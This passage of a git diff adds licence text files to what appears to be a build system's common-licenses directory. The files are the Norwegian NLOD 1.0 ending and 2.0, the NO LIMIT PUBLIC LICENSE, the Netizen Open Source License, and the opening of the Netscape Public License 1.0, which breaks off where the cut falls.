+If the licensee is to distribute an adapted or combined work based on information covered by this licence and some other work licensed under a licence compatible by contract, such distribution may be based on an appropriate licence compatible by contract, cf. the list below.
+
+A licence compatible by contract shall mean the following licences:
+
+ * for all information: Open Government Licence (version 1.0),
+ * for those parts of the information which do not constitute databases: Creative Commons Attribution Licence (generic version 1.0, 2.0, 2.5 and unported version 3.0) and Creative Commons Navngivelse 3.0 Norge,
+ * for those parts of the information which constitute databases: Open Data Commons Attribution License (version 1.0).
+
+This provision does not prevent other licences from being compatible with this licence based on their content.
+
+10. New versions of the licence
+The licensee may choose to use the information covered by this licence under any new versions of the Norwegian licence for Open Government data (NLOD) issued by the responsible ministry (currently the Ministry of Government Administration, Reform and Church Affairs) when these versions are final and official, unless the licensor when making the information available under this licence specifically has stated that solely version 1.0 of this licence may be used.
+
+11. Governing law and legal venue
+This licence, including its formation, and any disputes and claims arising in connection with or relating to this licence, shall be regulated by Norwegian law. The legal venue shall be the licensor's ordinary legal venue. The licensor may, with regard to intellectual proprietary rights, choose to pursue a claim at other competent legal venues and/or based on the laws of the country where the intellectual property rights are sought enforced.
diff --git a/meta/files/common-licenses/NLOD-2.0 b/meta/files/common-licenses/NLOD-2.0
new file mode 100644
index 0000000000..6233940c11
--- /dev/null
+++ b/meta/files/common-licenses/NLOD-2.0
@@ -0,0 +1,80 @@
+Norwegian Licence for Open Government Data (NLOD) 2.0
+
+Preface of licence
+
+This licence grants you the right to copy, use and distribute information, provided you acknowledge the contributors and comply with the terms and conditions stipulated in this licence. By using information made available under this licence, you accept the terms and conditions set forth in this licence. As set out in Section 7, the licensor disclaims any and all liability for the quality of the information and what the information is used for.
+
+This licence shall not impose any limitations on the rights or freedoms of the licensee under the Norwegian Freedom of Information Act or any other legislation granting the general public a right of access to public sector information, or that follow from exemptions or limitations stipulated in the Norwegian Copyright Act. Further, the licence shall not impose any limitations on the licensee’s freedom of expression recognized by law.
+
+1. Definitions
+
+ «Database» shall mean a database or similar protected under Section 43 of the Norwegian Copyright Act.
+ «Information» shall mean texts, images, recordings, data sets or other works protected under Section 1 of the Norwegian Copyright Act, or which are protected under provisions addressing what is referred to as «neighbouring rights» in Chapter 5 of the Norwegian Copyright Act (including databases and photographs), and which are distributed under this licence.
+ «Copy» shall mean reproduction in any form.
+ «Licensee» and «you» shall mean natural or legal persons using information under this licence.
+ «Licensor» shall mean the natural or legal person that makes information available under this licence.
+ «Distribute» shall mean any actions whereby information is made available, including to distribute, transfer, communicate, disperse, show, perform, sell, lend and rent.
+ «Use» shall mean one or more actions relevant to copyright law requiring permission from the owner of the copyright.
+
+2. Licence
+The licensee, subject to the limitations that follow from this licence, may use the information for any purpose and in all contexts, by:
+
+ * copying the information and distributing the information to others,
+ * modifying the information and/or combining the information with other information, and
+ * copying and distributing such changed or combined information.
+
+This is a non-exclusive, free, perpetual and worldwide licence. The information may be used in any medium and format known today and/or which will become known in the future. The Licensee shall not sub-license or transfer this licence.
+
+3. Exemptions
+The licence does not apply to and therefore does not grant a right to use:
+
+ * information which contains personal data covered by the Norwegian Personal Data Act unless there is a legitimate basis for the disclosure and further processing of the personal data
+ * information distributed in violation of a statutory obligation to observe confidentiality
+ * information excluded from public disclosure pursuant to law, including information deemed sensitive under the Norwegian National Security Act
+ * information subject to third party rights which the licensor is not authorised to license to the licensee
+ * information protected by intellectual property rights other than copyright and neighbouring rights in accordance with Chapter 5 of the Norwegian Copyright Act, such as trademarks, patents and design rights, but this does not entail an impediment to use information where the licensor’s logo has been permanently integrated into the information or to attribute the origin of the information in accordance with the article below relating to attribution.
+
+If the licensor has made available information not covered by the licence according to the above list, the licensee must cease all use of the information under the licence, and erase the information as soon as he or she becomes aware of or should have understood that the information is not covered by the licence.
+
+4. Effects of breach of the licence
+The licence is subject to the licensee’s compliance with the terms and conditions of this licence. In the event that the licensee commits a breach of this licence, this will entail that the licensee’s right to use the information will be revoked immediately without further notice. In case of such a breach, the licensee must immediately and without further notice take measures to cause the infringement to end. Because the right to use the information has been terminated, the licensee must cease all use of the information by virtue of the licence.
+
+5. Attribution
+The licensee shall attribute the licensor as specified by the licensor and include a reference to this licence. To the extent practically possible, the licensee shall provide a link to both this licence and the source of the information.
+
+If the licensor has not specified how attributions shall be made, the licensee shall normally state the following: «Contains data under the Norwegian licence for Open Government data (NLOD) distributed by [name of licensor]».
+
+If the licensor has specified that the information shall only be available under a specific version of this licence, cf. Section 10, the licensee shall also state this.
+
+If the information has been changed, the licensee must clearly indicate that changes have been made by the licensee.
+
+6. Proper use
+The licensee shall not use the information in a manner that appears misleading nor present the information in a distorted or incorrect manner.
+Neither the licensor’s nor other contributors' names or trademarks must be used to support, recommend or market the licensee or any products or services using the information.
+
+7. Disclaimer of liability
+The information is licensed «as is». The information may contain errors and omissions. The licensor provides no warranties, including relating to the content and relevance of the information.
+
+The licensor disclaims any liability for errors and defects associated with the information to the maximum extent permitted by law.
+
+The licensor shall not be liable for direct or indirect losses as a result of use of the information or in connection with copying or further distribution of the information.
+
+8. Guarantees regarding data quality and accessibility
+This licence does not prevent the licensor from issuing supplementary statements regarding expected or intended data quality and accessibility. Such statements shall be regarded as indicative in nature and not binding on the part of the licensor. The disclaimers in Section 7 also apply in full for such indicative statements. Based on separate agreement, the licensor may provide guarantees and distribute the information on terms and conditions different from those set forth in this licence.
+
+9. Licence compatibility
+If the licensee is to distribute an adapted or combined work based on information covered by this licence and some other work licensed under a licence compatible by contract, such distribution may be based on an appropriate licence compatible by contract, cf. the list below.
+
+A licence compatible by contract shall mean the following licences:
+
+ * for all information: Open Government Licence (version 1.0, 2.0 and 3.0), Creative Commons Attribution Licence (international version 4.0 and norwegian version 4.0),
+ * for those parts of the information which do not constitute databases: Creative Commons Attribution Licence (generic version 1.0, 2.0, 2.5 and unported version 3.0) and Creative Commons Navngivelse 3.0 Norge,
+ * for those parts of the information which constitute databases: Open Data Commons Attribution License (version 1.0).
+
+This provision does not prevent other licences from being compatible with this licence based on their content.
+
+10. New versions of the licence
+The licensee may choose to use the information covered by this licence under any new versions of the Norwegian licence for Open Government data (NLOD) issued by the responsible ministry (currently the Ministry of Local Government and Modernisation) when these versions are final and official, unless the licensor when making the information available under this licence specifically has stated that solely version 2.0 of this licence may be used.
+
+11. Governing law and legal venue
+This licence, including its formation, and any disputes and claims arising in connection with or relating to this licence, shall be regulated by Norwegian law. The legal venue shall be the licensor’s ordinary legal venue. The licensor may, with regard to intellectual proprietary rights, choose to pursue a claim at other competent legal venues and/or based on the laws of the country where the intellectual property rights are sought enforced.
diff --git a/meta/files/common-licenses/NLPL b/meta/files/common-licenses/NLPL
new file mode 100644
index 0000000000..79f83af89b
--- /dev/null
+++ b/meta/files/common-licenses/NLPL
@@ -0,0 +1,14 @@
+NO LIMIT PUBLIC LICENSE
+ Version 0, June 2012
+
+Gilles LAMIRAL
+La Billais
+35580 Baulon
+France
+
+NO LIMIT PUBLIC LICENSE
+
+Terms and conditions for copying, distribution, modification
+or anything else.
+
+ 0. No limit to do anything with this work and this license.
diff --git a/meta/files/common-licenses/NOSL b/meta/files/common-licenses/NOSL
new file mode 100644
index 0000000000..ff16a148c6
--- /dev/null
+++ b/meta/files/common-licenses/NOSL
@@ -0,0 +1,150 @@
+NETIZEN OPEN SOURCE LICENSE
+Version 1.0
+
+1. Definitions.
+
+ 1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+ 2.2. Contributor Grant.
+ Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ (b) under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ (c) the licenses granted in Sections 2.2(a) and 2.2(b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ (d) Notwithstanding Section 2.2(b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+ (a) Third Party Claims.
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+ (b) Contributor APIs.
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+ (c) Representations.
+ Contributor represents that, except as disclosed pursuant to Section 3.4(a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices.
+ You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions.
+ You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works.
+ You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single LEDs product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions.
+ Netizen Pty Ltd ("Netizen ") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions.
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netizen. No one other than Netizen has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works.
+ If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Netizen", "NOSL" or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Netizen Open Source License and Xen Open Source License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+ 7.1 To the extent permitted by law and except as expressly provided to the contrary in this Agreement, all warranties whether express, implied, statutory or otherwise, relating in any way to the subject matter of this Agreement or to this Agreement generally, are excluded. Where legislation implies in this Agreement any condition or warranty and that legislation avoids or prohibits provisions in a contract excluding or modifying the application of or the exercise of or liability under such term, such term shall be deemed to be included in this Agreement. However, the liability of Supplier for any breach of such term shall be limited, at the option of Supplier, to any one or more of the following: if the breach related to goods: the replacement of the goods or the supply of equivalent goods; the repair of such goods; the payment of the cost of replacing the goods or of acquiring equivalent goods; or the payment of the cost of having the goods repaired; and if the breach relates to services the supplying of the services again; or the payment of the cost of having the services supplied again.
+
+8. TERMINATION.
+
+ 8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+This Agreement shall be governed by and construed according to the law of the State of Victoria. The parties irrevocably submit to the exclusive jurisdiction of the Courts of Victoria and Australia and any Courts hearing appeals from such Courts. This Agreement is deemed to have been made in Victoria.
+The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the NPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A - Netizen Open Source License
+
+ ``The contents of this file are subject to the Netizen Open Source License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://netizen.com.au/licenses/NOPL/
+
+ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+ The Original Code is ______________________________________.
+
+ The Initial Developer of the Original Code is ________________________. Portions created by ______________________ are Copyright (C) ______ _______________________. All Rights Reserved.
+
+ Contributor(s): ______________________________________.
+
+ Alternatively, the contents of this file may be used under the terms of the _____ license (the "[___] License"), in which case the provisions of [______] License are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the NOSL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the [___] License. If you do not delete the provisions above, a recipient may use your version of this file under either the NOSL or the [___] License."
+
+ [NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.]
diff --git a/meta/files/common-licenses/NPL-1.0 b/meta/files/common-licenses/NPL-1.0
new file mode 100644
index 0000000000..7a5030e9f7
--- /dev/null
+++ b/meta/files/common-licenses/NPL-1.0
@@ -0,0 +1,102 @@
+NETSCAPE PUBLIC LICENSE Version 1.0
+
+1. Definitions.
+
+ 1.1. ``Contributor'' means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. ``Contributor Version'' means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+ 1.3. ``Covered Code'' means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+ 1.4. ``Electronic Distribution Mechanism'' means a mechanism generally accepted in the software development community for the electronic transfer of data.
+ 1.5. ``Executable'' means Covered Code in any form other than Source Code.
+ 1.6. ``Initial Developer'' means the individual or entity identified as the Initial Developer in the Source Code notice required byExhibit A.
+ 1.7. ``Larger Work'' means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+ 1.8. ``License'' means this document.
+ 1.9. ``Modifications'' means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications. B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. ``Original Code'' means Source Code of computer software code which is described in the Source Code notice required byExhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+ 1.11. ``Source Code'' means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or a list of source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+ 1.12. ``You'' means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, ``You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, ``control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ a) to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, or as part of a Larger Work; and
+ (b) under patents now or hereafter owned or controlled by Initial Developer, to make, have made, use and sell (``Utilize'') the Original Code (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Original Code (or portions thereof) and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+ 2.2. Contributor Grant. Each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+ (a) to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code or as part of a Larger Work; and
+ (b) under patents now or hereafter owned or controlled by Contributor, to Utilize the Contributor Version (or portions thereof), but solely to the extent that any such patent is reasonably necessary to enable You to Utilize the Contributor Version (or portions thereof), and not to any greater extent that may be necessary to Utilize further Modifications or combinations.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+ 3.3. Description of Modifications. You must cause all Covered Code to which you contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+ 3.4. Intellectual Property Matters
+ (a) Third Party Claims. If You have knowledge that a party claims an intellectual property right in particular functionality or code (or its utilization under this License), you must include a text file with the source code distribution titled ``LEGAL'' which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after You make Your Modification available as described in Section 3.2, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+ (b) Contributor APIs. If Your Modification is an application programming interface and You own or control patents which are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code, and this License in any documentation for the Source Code, where You describe recipients' rights relating to Covered Code. If You created one or more Modification(s), You may add your name as a Contributor to the notice described in Exhibit A. If it is not possible to put such notice in a particular Source Code file due to its structure, then you must include such notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
